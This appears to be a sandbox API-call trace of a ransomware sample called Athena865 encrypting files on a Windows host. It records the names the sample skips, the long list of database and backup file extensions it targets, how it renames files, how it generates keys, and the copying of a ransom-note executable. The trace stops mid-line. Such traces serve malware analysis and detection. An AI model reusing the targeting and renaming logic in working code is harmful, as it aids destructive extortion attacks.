[0038.342] lstrcmpiW (lpString1="pdm.dll", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0038.342] lstrcmpiW (lpString1="pdm.dll", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0038.342] lstrcmpiW (lpString1="pdm.dll", lpString2=".") returned 1 [0038.342] lstrcmpiW (lpString1="pdm.dll", lpString2="..") returned 1 [0038.342] lstrcmpiW (lpString1="pdm.dll", lpString2="windows") returned -1 [0038.342] lstrcmpiW (lpString1="pdm.dll", lpString2="bootmgr") returned 1 [0038.342] lstrcmpiW (lpString1="pdm.dll", lpString2="temp") returned -1 [0038.342] lstrcmpiW (lpString1="pdm.dll", lpString2="pagefile.sys") returned 1 [0038.342] lstrcmpiW (lpString1="pdm.dll", lpString2="boot") returned 1 [0038.342] lstrcmpiW (lpString1="pdm.dll", lpString2="ids.txt") returned 1 [0038.342] lstrcmpiW (lpString1="pdm.dll", lpString2="ntuser.dat") returned 1 [0038.342] lstrcmpiW (lpString1="pdm.dll", lpString2="perflogs") returned -1 [0038.342] lstrcmpiW (lpString1="pdm.dll", lpString2="MSBuild") returned 1 [0038.343] lstrlenW (lpString="pdm.dll") returned 7 [0038.343] lstrcpyW (in: lpString1=0x241e88e, lpString2="pdm.dll" | out: lpString1="pdm.dll") returned="pdm.dll" [0038.343] lstrlenW (lpString="pdm.dll") returned 7 [0038.343] lstrlenW (lpString="Athena865") returned 9 [0038.343] lstrlenW (lpString=".dll") returned 4 [0038.343] lstrcmpiW (lpString1="pdm.dll", lpString2=".dll") returned 1 [0038.343] lstrlenW (lpString=".lnk") returned 4 [0038.343] lstrcmpiW (lpString1="pdm.dll", lpString2=".lnk") returned 1 [0038.343] lstrlenW (lpString=".ini") returned 4 [0038.343] lstrcmpiW (lpString1="pdm.dll", lpString2=".ini") returned 1 [0038.343] lstrlenW (lpString=".sys") returned 4 [0038.343] lstrcmpiW (lpString1="pdm.dll", lpString2=".sys") returned 1 [0038.343] lstrlenW (lpString="pdm.dll") returned 7 [0038.343] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Internet Explorer\\pdm.dll.Athena865") returned 52 [0038.343] MoveFileExW (lpExistingFileName="C:\\Program Files\\Internet Explorer\\pdm.dll" (normalized: "c:\\program files\\internet explorer\\pdm.dll"), lpNewFileName="C:\\Program Files\\Internet Explorer\\pdm.dll.Athena865" (normalized: "c:\\program files\\internet explorer\\pdm.dll.athena865"), dwFlags=0x1) returned 1 [0038.344] CreateFileW (lpFileName="C:\\Program Files\\Internet Explorer\\pdm.dll.Athena865" (normalized: "c:\\program files\\internet explorer\\pdm.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0038.344] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=537088) returned 1 [0038.344] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0038.344] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d0c0 [0038.344] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519228 [0038.344] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x5192b0) returned 1 [0038.345] CryptGenRandom (in: hProv=0x5192b0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0038.345] CryptReleaseContext (hProv=0x5192b0, dwFlags=0x0) returned 1 [0038.345] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x83500, lpName=0x0) returned 0x154 [0038.346] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x83500) returned 0x2d50000 [0038.364] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x5192b0) returned 1 [0038.364] CryptGenRandom (in: hProv=0x5192b0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0038.364] CryptReleaseContext (hProv=0x5192b0, dwFlags=0x0) returned 1 [0038.364] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d138 [0038.364] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d138 | out: hHeap=0x4f0000) returned 1 [0038.364] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52f908 [0038.364] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x511438 [0038.364] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52f908 | out: hHeap=0x4f0000) returned 1 [0038.364] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x511668 [0038.364] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52f908 [0038.365] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x511668 | out: hHeap=0x4f0000) returned 1 [0038.365] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52f908 | out: hHeap=0x4f0000) returned 1 [0038.365] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x511438 | out: hHeap=0x4f0000) returned 1 [0038.365] UnmapViewOfFile (lpBaseAddress=0x2d50000) returned 1 [0038.369] CloseHandle (hObject=0x154) returned 1 [0038.369] CloseHandle (hObject=0x17c) returned 1 [0038.376] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d0c0 | out: hHeap=0x4f0000) returned 1 [0038.376] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519228 | out: hHeap=0x4f0000) returned 1 [0038.376] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0038.379] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x98d1a336, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x98d1a336, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="SIGNUP", cAlternateFileName="")) returned 1 [0038.379] lstrcmpiW (lpString1="SIGNUP", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0038.379] lstrcmpiW (lpString1="SIGNUP", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0038.379] lstrcmpiW (lpString1="SIGNUP", lpString2=".") returned 1 [0038.379] lstrcmpiW (lpString1="SIGNUP", lpString2="..") returned 1 [0038.379] lstrcmpiW (lpString1="SIGNUP", lpString2="windows") returned -1 [0038.379] lstrcmpiW (lpString1="SIGNUP", lpString2="bootmgr") returned 1 [0038.379] lstrcmpiW (lpString1="SIGNUP", lpString2="temp") returned -1 [0038.379] lstrcmpiW (lpString1="SIGNUP", lpString2="pagefile.sys") returned 1 [0038.379] lstrcmpiW (lpString1="SIGNUP", lpString2="boot") returned 1 [0038.379] lstrcmpiW (lpString1="SIGNUP", lpString2="ids.txt") returned 1 [0038.379] lstrcmpiW (lpString1="SIGNUP", lpString2="ntuser.dat") returned 1 [0038.379] lstrcmpiW (lpString1="SIGNUP", lpString2="perflogs") returned 1 [0038.379] lstrcmpiW (lpString1="SIGNUP", lpString2="MSBuild") returned 1 [0038.379] lstrlenW (lpString="SIGNUP") returned 6 [0038.379] lstrcpyW (in: lpString1=0x241e88e, lpString2="SIGNUP" | out: lpString1="SIGNUP") returned="SIGNUP" [0038.379] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52f718 [0038.379] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x54) returned 0x528f50 [0038.379] lstrcatW (in: lpString1="SIGNUP", lpString2="\\" | out: lpString1="SIGNUP\\") returned="SIGNUP\\" [0038.379] lstrcatW (in: lpString1="SIGNUP\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="SIGNUP\\HOW TO BACK YOUR FILES.exe") returned="SIGNUP\\HOW TO BACK YOUR FILES.exe" [0038.379] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Internet Explorer\\SIGNUP\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\internet explorer\\signup\\how to back your files.exe"), bFailIfExists=1) returned 1 [0038.381] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x855fc7e1, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x855fc7e1, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x85622942, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x3bc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="sqmapi.dll", cAlternateFileName="")) returned 1 [0038.382] lstrcmpiW (lpString1="sqmapi.dll", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0038.382] lstrcmpiW (lpString1="sqmapi.dll", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0038.382] lstrcmpiW (lpString1="sqmapi.dll", lpString2=".") returned 1 [0038.382] lstrcmpiW (lpString1="sqmapi.dll", lpString2="..") returned 1 [0038.382] lstrcmpiW (lpString1="sqmapi.dll", lpString2="windows") returned -1 [0038.382] lstrcmpiW (lpString1="sqmapi.dll", lpString2="bootmgr") returned 1 [0038.382] lstrcmpiW (lpString1="sqmapi.dll", lpString2="temp") returned -1 [0038.382] lstrcmpiW (lpString1="sqmapi.dll", lpString2="pagefile.sys") returned 1 [0038.382] lstrcmpiW (lpString1="sqmapi.dll", lpString2="boot") returned 1 [0038.382] lstrcmpiW (lpString1="sqmapi.dll", lpString2="ids.txt") returned 1 [0038.382] lstrcmpiW (lpString1="sqmapi.dll", lpString2="ntuser.dat") returned 1 [0038.382] lstrcmpiW (lpString1="sqmapi.dll", lpString2="perflogs") returned 1 [0038.382] lstrcmpiW (lpString1="sqmapi.dll", lpString2="MSBuild") returned 1 [0038.382] lstrlenW (lpString="sqmapi.dll") returned 10 [0038.382] lstrcpyW (in: lpString1=0x241e88e, lpString2="sqmapi.dll" | out: lpString1="sqmapi.dll") returned="sqmapi.dll" [0038.382] lstrlenW (lpString="sqmapi.dll") returned 10 [0038.382] lstrlenW (lpString="Athena865") returned 9 [0038.382] lstrcmpiW (lpString1="qmapi.dll", lpString2="Athena865") returned 1 [0038.382] lstrlenW (lpString=".dll") returned 4 [0038.382] lstrcmpiW (lpString1="sqmapi.dll", lpString2=".dll") returned 1 [0038.382] lstrlenW (lpString=".lnk") returned 4 [0038.382] lstrcmpiW (lpString1="sqmapi.dll", lpString2=".lnk") returned 1 [0038.382] lstrlenW (lpString=".ini") returned 4 [0038.382] lstrcmpiW (lpString1="sqmapi.dll", lpString2=".ini") returned 1 [0038.382] lstrlenW (lpString=".sys") returned 4 [0038.382] lstrcmpiW (lpString1="sqmapi.dll", lpString2=".sys") returned 1 [0038.382] lstrlenW (lpString="sqmapi.dll") returned 10 [0038.382] lstrlenW (lpString="bak") returned 3 [0038.382] lstrcmpiW (lpString1="dll", lpString2="bak") returned 1 [0038.382] lstrlenW (lpString="ba_") returned 3 [0038.382] lstrcmpiW (lpString1="dll", lpString2="ba_") returned 1 [0038.382] lstrlenW (lpString="dbb") returned 3 [0038.382] lstrcmpiW (lpString1="dll", lpString2="dbb") returned 1 [0038.382] lstrlenW (lpString="vmdk") returned 4 [0038.382] lstrcmpiW (lpString1=".dll", lpString2="vmdk") returned -1 [0038.382] lstrlenW (lpString="rar") returned 3 [0038.382] lstrcmpiW (lpString1="dll", lpString2="rar") returned -1 [0038.383] lstrlenW (lpString="zip") returned 3 [0038.383] lstrcmpiW (lpString1="dll", lpString2="zip") returned -1 [0038.383] lstrlenW (lpString="tgz") returned 3 [0038.383] lstrcmpiW (lpString1="dll", lpString2="tgz") returned -1 [0038.383] lstrlenW (lpString="vbox") returned 4 [0038.383] lstrcmpiW (lpString1=".dll", lpString2="vbox") returned -1 [0038.383] lstrlenW (lpString="vdi") returned 3 [0038.383] lstrcmpiW (lpString1="dll", lpString2="vdi") returned -1 [0038.383] lstrlenW (lpString="vhd") returned 3 [0038.383] lstrcmpiW (lpString1="dll", lpString2="vhd") returned -1 [0038.383] lstrlenW (lpString="vhdx") returned 4 [0038.383] lstrcmpiW (lpString1=".dll", lpString2="vhdx") returned -1 [0038.383] lstrlenW (lpString="avhd") returned 4 [0038.383] lstrcmpiW (lpString1=".dll", lpString2="avhd") returned -1 [0038.383] lstrlenW (lpString="db") returned 2 [0038.383] lstrcmpiW (lpString1="ll", lpString2="db") returned 1 [0038.383] lstrlenW (lpString="db2") returned 3 [0038.383] lstrcmpiW (lpString1="dll", lpString2="db2") returned 1 [0038.383] lstrlenW (lpString="db3") returned 3 [0038.383] lstrcmpiW (lpString1="dll", lpString2="db3") returned 1 [0038.383] lstrlenW (lpString="dbf") returned 3 [0038.383] lstrcmpiW (lpString1="dll", lpString2="dbf") returned 1 [0038.383] lstrlenW (lpString="mdf") returned 3 [0038.383] lstrcmpiW (lpString1="dll", lpString2="mdf") returned -1 [0038.383] lstrlenW (lpString="mdb") returned 3 [0038.383] lstrcmpiW (lpString1="dll", lpString2="mdb") returned -1 [0038.383] lstrlenW (lpString="sql") returned 3 [0038.383] lstrcmpiW (lpString1="dll", lpString2="sql") returned -1 [0038.383] lstrlenW (lpString="sqlite") returned 6 [0038.383] lstrcmpiW (lpString1="pi.dll", lpString2="sqlite") returned -1 [0038.383] lstrlenW (lpString="sqlite3") returned 7 [0038.383] lstrcmpiW (lpString1="api.dll", lpString2="sqlite3") returned -1 [0038.383] lstrlenW (lpString="sqlitedb") returned 8 [0038.383] lstrcmpiW (lpString1="mapi.dll", lpString2="sqlitedb") returned -1 [0038.383] lstrlenW (lpString="xml") returned 3 [0038.383] lstrcmpiW (lpString1="dll", lpString2="xml") returned -1 [0038.384] lstrlenW (lpString="$er") returned 3 [0038.384] lstrcmpiW (lpString1="dll", lpString2="$er") returned 1 [0038.384] lstrlenW (lpString="4dd") returned 3 [0038.384] lstrcmpiW (lpString1="dll", lpString2="4dd") returned 1 [0038.384] lstrlenW (lpString="4dl") returned 3 [0038.384] lstrcmpiW (lpString1="dll", lpString2="4dl") returned 1 [0038.384] lstrlenW (lpString="^^^") returned 3 [0038.384] lstrcmpiW (lpString1="dll", lpString2="^^^") returned 1 [0038.384] lstrlenW (lpString="abs") returned 3 [0038.384] lstrcmpiW (lpString1="dll", lpString2="abs") returned 1 [0038.384] lstrlenW (lpString="abx") returned 3 [0038.384] lstrcmpiW (lpString1="dll", lpString2="abx") returned 1 [0038.384] lstrlenW (lpString="accdb") returned 5 [0038.384] lstrcmpiW (lpString1="i.dll", lpString2="accdb") returned 1 [0038.384] lstrlenW (lpString="accdc") returned 5 [0038.384] lstrcmpiW (lpString1="i.dll", lpString2="accdc") returned 1 [0038.384] lstrlenW (lpString="accde") returned 5 [0038.384] lstrcmpiW (lpString1="i.dll", lpString2="accde") returned 1 [0038.384] lstrlenW (lpString="accdr") returned 5 [0038.384] lstrcmpiW (lpString1="i.dll", lpString2="accdr") returned 1 [0038.384] lstrlenW (lpString="accdt") returned 5 [0038.384] lstrcmpiW (lpString1="i.dll", lpString2="accdt") returned 1 [0038.384] lstrlenW (lpString="accdw") returned 5 [0038.384] lstrcmpiW (lpString1="i.dll", lpString2="accdw") returned 1 [0038.384] lstrlenW (lpString="accft") returned 5 [0038.384] lstrcmpiW (lpString1="i.dll", lpString2="accft") returned 1 [0038.384] lstrlenW (lpString="adb") returned 3 [0038.384] lstrcmpiW (lpString1="dll", lpString2="adb") returned 1 [0038.384] lstrlenW (lpString="adb") returned 3 [0038.384] lstrcmpiW (lpString1="dll", lpString2="adb") returned 1 [0038.384] lstrlenW (lpString="ade") returned 3 [0038.384] lstrcmpiW (lpString1="dll", lpString2="ade") returned 1 [0038.384] lstrlenW (lpString="adf") returned 3 [0038.384] lstrcmpiW (lpString1="dll", lpString2="adf") returned 1 [0038.384] lstrlenW (lpString="adn") returned 3 [0038.384] lstrcmpiW (lpString1="dll", lpString2="adn") returned 1 [0038.384] lstrlenW (lpString="adp") returned 3 [0038.385] lstrcmpiW (lpString1="dll", lpString2="adp") returned 1 [0038.385] lstrlenW (lpString="alf") returned 3 [0038.385] lstrcmpiW (lpString1="dll", lpString2="alf") returned 1 [0038.385] lstrlenW (lpString="ask") returned 3 [0038.385] lstrcmpiW (lpString1="dll", lpString2="ask") returned 1 [0038.385] lstrlenW (lpString="btr") returned 3 [0038.385] lstrcmpiW (lpString1="dll", lpString2="btr") returned 1 [0038.385] lstrlenW (lpString="cat") returned 3 [0038.385] lstrcmpiW (lpString1="dll", lpString2="cat") returned 1 [0038.385] lstrlenW (lpString="cdb") returned 3 [0038.385] lstrcmpiW (lpString1="dll", lpString2="cdb") returned 1 [0038.385] lstrlenW (lpString="ckp") returned 3 [0038.385] lstrcmpiW (lpString1="dll", lpString2="ckp") returned 1 [0038.385] lstrlenW (lpString="cma") returned 3 [0038.385] lstrcmpiW (lpString1="dll", lpString2="cma") returned 1 [0038.385] lstrlenW (lpString="cpd") returned 3 [0038.385] lstrcmpiW (lpString1="dll", lpString2="cpd") returned 1 [0038.385] lstrlenW (lpString="dacpac") returned 6 [0038.385] lstrcmpiW (lpString1="pi.dll", lpString2="dacpac") returned 1 [0038.385] lstrlenW (lpString="dad") returned 3 [0038.385] lstrcmpiW (lpString1="dll", lpString2="dad") returned 1 [0038.385] lstrlenW (lpString="dadiagrams") returned 10 [0038.385] lstrlenW (lpString="daschema") returned 8 [0038.385] lstrcmpiW (lpString1="mapi.dll", lpString2="daschema") returned 1 [0038.385] lstrlenW (lpString="db-journal") returned 10 [0038.385] lstrlenW (lpString="db-shm") returned 6 [0038.385] lstrcmpiW (lpString1="pi.dll", lpString2="db-shm") returned 1 [0038.385] lstrlenW (lpString="db-wal") returned 6 [0038.385] lstrcmpiW (lpString1="pi.dll", lpString2="db-wal") returned 1 [0038.385] lstrlenW (lpString="dbc") returned 3 [0038.385] lstrcmpiW (lpString1="dll", lpString2="dbc") returned 1 [0038.385] lstrlenW (lpString="dbs") returned 3 [0038.385] lstrcmpiW (lpString1="dll", lpString2="dbs") returned 1 [0038.385] lstrlenW (lpString="dbt") returned 3 [0038.385] lstrcmpiW (lpString1="dll", lpString2="dbt") returned 1 [0038.385] lstrlenW (lpString="dbv") returned 3 [0038.385] lstrcmpiW (lpString1="dll", lpString2="dbv") returned 1 [0038.385] lstrlenW (lpString="dbx") returned 3 [0038.386] lstrcmpiW (lpString1="dll", lpString2="dbx") returned 1 [0038.386] lstrlenW (lpString="dcb") returned 3 [0038.386] lstrcmpiW (lpString1="dll", lpString2="dcb") returned 1 [0038.386] lstrlenW (lpString="dct") returned 3 [0038.386] lstrcmpiW (lpString1="dll", lpString2="dct") returned 1 [0038.386] lstrlenW (lpString="dcx") returned 3 [0038.386] lstrcmpiW (lpString1="dll", lpString2="dcx") returned 1 [0038.386] lstrlenW (lpString="ddl") returned 3 [0038.386] lstrcmpiW (lpString1="dll", lpString2="ddl") returned 1 [0038.386] lstrlenW (lpString="dlis") returned 4 [0038.386] lstrcmpiW (lpString1=".dll", lpString2="dlis") returned -1 [0038.386] lstrlenW (lpString="dp1") returned 3 [0038.386] lstrcmpiW (lpString1="dll", lpString2="dp1") returned -1 [0038.386] lstrlenW (lpString="dqy") returned 3 [0038.386] lstrcmpiW (lpString1="dll", lpString2="dqy") returned -1 [0038.386] lstrlenW (lpString="dsk") returned 3 [0038.386] lstrcmpiW (lpString1="dll", lpString2="dsk") returned -1 [0038.386] lstrlenW (lpString="dsn") returned 3 [0038.386] lstrcmpiW (lpString1="dll", lpString2="dsn") returned -1 [0038.386] lstrlenW (lpString="dtsx") returned 4 [0038.386] lstrcmpiW (lpString1=".dll", lpString2="dtsx") returned -1 [0038.386] lstrlenW (lpString="dxl") returned 3 [0038.386] lstrcmpiW (lpString1="dll", lpString2="dxl") returned -1 [0038.386] lstrlenW (lpString="eco") returned 3 [0038.386] lstrcmpiW (lpString1="dll", lpString2="eco") returned -1 [0038.386] lstrlenW (lpString="ecx") returned 3 [0038.386] lstrcmpiW (lpString1="dll", lpString2="ecx") returned -1 [0038.386] lstrlenW (lpString="edb") returned 3 [0038.386] lstrcmpiW (lpString1="dll", lpString2="edb") returned -1 [0038.386] lstrlenW (lpString="epim") returned 4 [0038.386] lstrcmpiW (lpString1=".dll", lpString2="epim") returned -1 [0038.386] lstrlenW (lpString="fcd") returned 3 [0038.386] lstrcmpiW (lpString1="dll", lpString2="fcd") returned -1 [0038.386] lstrlenW (lpString="fdb") returned 3 [0038.386] lstrcmpiW (lpString1="dll", lpString2="fdb") returned -1 [0038.386] lstrlenW (lpString="fic") returned 3 [0038.386] lstrcmpiW (lpString1="dll", lpString2="fic") returned -1 [0038.386] lstrlenW (lpString="flexolibrary") returned 12 [0038.387] lstrlenW (lpString="fm5") returned 3 [0038.387] lstrcmpiW (lpString1="dll", lpString2="fm5") returned -1 [0038.387] lstrlenW (lpString="fmp") returned 3 [0038.387] lstrcmpiW (lpString1="dll", lpString2="fmp") returned -1 [0038.387] lstrlenW (lpString="fmp12") returned 5 [0038.387] lstrcmpiW (lpString1="i.dll", lpString2="fmp12") returned 1 [0038.387] lstrlenW (lpString="fmpsl") returned 5 [0038.387] lstrcmpiW (lpString1="i.dll", lpString2="fmpsl") returned 1 [0038.387] lstrlenW (lpString="fol") returned 3 [0038.387] lstrcmpiW (lpString1="dll", lpString2="fol") returned -1 [0038.387] lstrlenW (lpString="fp3") returned 3 [0038.387] lstrcmpiW (lpString1="dll", lpString2="fp3") returned -1 [0038.387] lstrlenW (lpString="fp4") returned 3 [0038.387] lstrcmpiW (lpString1="dll", lpString2="fp4") returned -1 [0038.387] lstrlenW (lpString="fp5") returned 3 [0038.387] lstrcmpiW (lpString1="dll", lpString2="fp5") returned -1 [0038.387] lstrlenW (lpString="fp7") returned 3 [0038.387] lstrcmpiW (lpString1="dll", lpString2="fp7") returned -1 [0038.387] lstrlenW (lpString="fpt") returned 3 [0038.387] lstrcmpiW (lpString1="dll", lpString2="fpt") returned -1 [0038.387] lstrlenW (lpString="frm") returned 3 [0038.387] lstrcmpiW (lpString1="dll", lpString2="frm") returned -1 [0038.387] lstrlenW (lpString="gdb") returned 3 [0038.387] lstrcmpiW (lpString1="dll", lpString2="gdb") returned -1 [0038.387] lstrlenW (lpString="gdb") returned 3 [0038.387] lstrcmpiW (lpString1="dll", lpString2="gdb") returned -1 [0038.387] lstrlenW (lpString="grdb") returned 4 [0038.387] lstrcmpiW (lpString1=".dll", lpString2="grdb") returned -1 [0038.387] lstrlenW (lpString="gwi") returned 3 [0038.387] lstrcmpiW (lpString1="dll", lpString2="gwi") returned -1 [0038.387] lstrlenW (lpString="hdb") returned 3 [0038.387] lstrcmpiW (lpString1="dll", lpString2="hdb") returned -1 [0038.387] lstrlenW (lpString="his") returned 3 [0038.387] lstrcmpiW (lpString1="dll", lpString2="his") returned -1 [0038.387] lstrlenW (lpString="ib") returned 2 [0038.387] lstrcmpiW (lpString1="ll", lpString2="ib") returned 1 [0038.388] lstrlenW (lpString="idb") returned 3 [0038.388] lstrcmpiW (lpString1="dll", lpString2="idb") returned -1 [0038.388] lstrlenW (lpString="ihx") returned 3 [0038.388] lstrcmpiW (lpString1="dll", lpString2="ihx") returned -1 [0038.388] lstrlenW (lpString="itdb") returned 4 [0038.388] lstrcmpiW (lpString1=".dll", lpString2="itdb") returned -1 [0038.388] lstrlenW (lpString="itw") returned 3 [0038.388] lstrcmpiW (lpString1="dll", lpString2="itw") returned -1 [0038.388] lstrlenW (lpString="jet") returned 3 [0038.388] lstrcmpiW (lpString1="dll", lpString2="jet") returned -1 [0038.388] lstrlenW (lpString="jtx") returned 3 [0038.388] lstrcmpiW (lpString1="dll", lpString2="jtx") returned -1 [0038.388] lstrlenW (lpString="kdb") returned 3 [0038.388] lstrcmpiW (lpString1="dll", lpString2="kdb") returned -1 [0038.388] lstrlenW (lpString="kexi") returned 4 [0038.388] lstrcmpiW (lpString1=".dll", lpString2="kexi") returned -1 [0038.388] lstrlenW (lpString="kexic") returned 5 [0038.388] lstrcmpiW (lpString1="i.dll", lpString2="kexic") returned -1 [0038.388] lstrlenW (lpString="kexis") returned 5 [0038.388] lstrcmpiW (lpString1="i.dll", lpString2="kexis") returned -1 [0038.388] lstrlenW (lpString="lgc") returned 3 [0038.388] lstrcmpiW (lpString1="dll", lpString2="lgc") returned -1 [0038.388] lstrlenW (lpString="lwx") returned 3 [0038.388] lstrcmpiW (lpString1="dll", lpString2="lwx") returned -1 [0038.388] lstrlenW (lpString="maf") returned 3 [0038.388] lstrcmpiW (lpString1="dll", lpString2="maf") returned -1 [0038.388] lstrlenW (lpString="maq") returned 3 [0038.388] lstrcmpiW (lpString1="dll", lpString2="maq") returned -1 [0038.388] lstrlenW (lpString="mar") returned 3 [0038.388] lstrcmpiW (lpString1="dll", lpString2="mar") returned -1 [0038.388] lstrlenW (lpString="marshal") returned 7 [0038.388] lstrcmpiW (lpString1="api.dll", lpString2="marshal") returned -1 [0038.388] lstrlenW (lpString="mas") returned 3 [0038.388] lstrcmpiW (lpString1="dll", lpString2="mas") returned -1 [0038.388] lstrlenW (lpString="mav") returned 3 [0038.388] lstrcmpiW (lpString1="dll", lpString2="mav") returned -1 [0038.388] lstrlenW (lpString="maw") returned 3 [0038.389] lstrcmpiW (lpString1="dll", lpString2="maw") returned -1 [0038.389] lstrlenW (lpString="mdbhtml") returned 7 [0038.389] lstrcmpiW (lpString1="api.dll", lpString2="mdbhtml") returned -1 [0038.389] lstrlenW (lpString="mdn") returned 3 [0038.389] lstrcmpiW (lpString1="dll", lpString2="mdn") returned -1 [0038.389] lstrlenW (lpString="mdt") returned 3 [0038.389] lstrcmpiW (lpString1="dll", lpString2="mdt") returned -1 [0038.389] lstrlenW (lpString="mfd") returned 3 [0038.389] lstrcmpiW (lpString1="dll", lpString2="mfd") returned -1 [0038.389] lstrlenW (lpString="mpd") returned 3 [0038.389] lstrcmpiW (lpString1="dll", lpString2="mpd") returned -1 [0038.389] lstrlenW (lpString="mrg") returned 3 [0038.389] lstrcmpiW (lpString1="dll", lpString2="mrg") returned -1 [0038.389] lstrlenW (lpString="mud") returned 3 [0038.389] lstrcmpiW (lpString1="dll", lpString2="mud") returned -1 [0038.389] lstrlenW (lpString="mwb") returned 3 [0038.389] lstrcmpiW (lpString1="dll", lpString2="mwb") returned -1 [0038.389] lstrlenW (lpString="myd") returned 3 [0038.389] lstrcmpiW (lpString1="dll", lpString2="myd") returned -1 [0038.389] lstrlenW (lpString="ndf") returned 3 [0038.389] lstrcmpiW (lpString1="dll", lpString2="ndf") returned -1 [0038.389] lstrlenW (lpString="nnt") returned 3 [0038.389] lstrcmpiW (lpString1="dll", lpString2="nnt") returned -1 [0038.389] lstrlenW (lpString="nrmlib") returned 6 [0038.389] lstrcmpiW (lpString1="pi.dll", lpString2="nrmlib") returned 1 [0038.389] lstrlenW (lpString="ns2") returned 3 [0038.389] lstrcmpiW (lpString1="dll", lpString2="ns2") returned -1 [0038.389] lstrlenW (lpString="ns3") returned 3 [0038.389] lstrcmpiW (lpString1="dll", lpString2="ns3") returned -1 [0038.389] lstrlenW (lpString="ns4") returned 3 [0038.389] lstrcmpiW (lpString1="dll", lpString2="ns4") returned -1 [0038.389] lstrlenW (lpString="nsf") returned 3 [0038.389] lstrcmpiW (lpString1="dll", lpString2="nsf") returned -1 [0038.389] lstrlenW (lpString="nv") returned 2 [0038.389] lstrcmpiW (lpString1="ll", lpString2="nv") returned -1 [0038.389] lstrlenW (lpString="nv2") returned 3 [0038.389] lstrcmpiW (lpString1="dll", lpString2="nv2") returned -1 [0038.389] lstrlenW (lpString="nwdb") returned 4 [0038.390] lstrcmpiW (lpString1=".dll", lpString2="nwdb") returned -1 [0038.390] lstrlenW (lpString="nyf") returned 3 [0038.390] lstrcmpiW (lpString1="dll", lpString2="nyf") returned -1 [0038.390] lstrlenW (lpString="odb") returned 3 [0038.390] lstrcmpiW (lpString1="dll", lpString2="odb") returned -1 [0038.390] lstrlenW (lpString="odb") returned 3 [0038.390] lstrcmpiW (lpString1="dll", lpString2="odb") returned -1 [0038.390] lstrlenW (lpString="oqy") returned 3 [0038.390] lstrcmpiW (lpString1="dll", lpString2="oqy") returned -1 [0038.390] lstrlenW (lpString="ora") returned 3 [0038.390] lstrcmpiW (lpString1="dll", lpString2="ora") returned -1 [0038.390] lstrlenW (lpString="orx") returned 3 [0038.390] lstrcmpiW (lpString1="dll", lpString2="orx") returned -1 [0038.390] 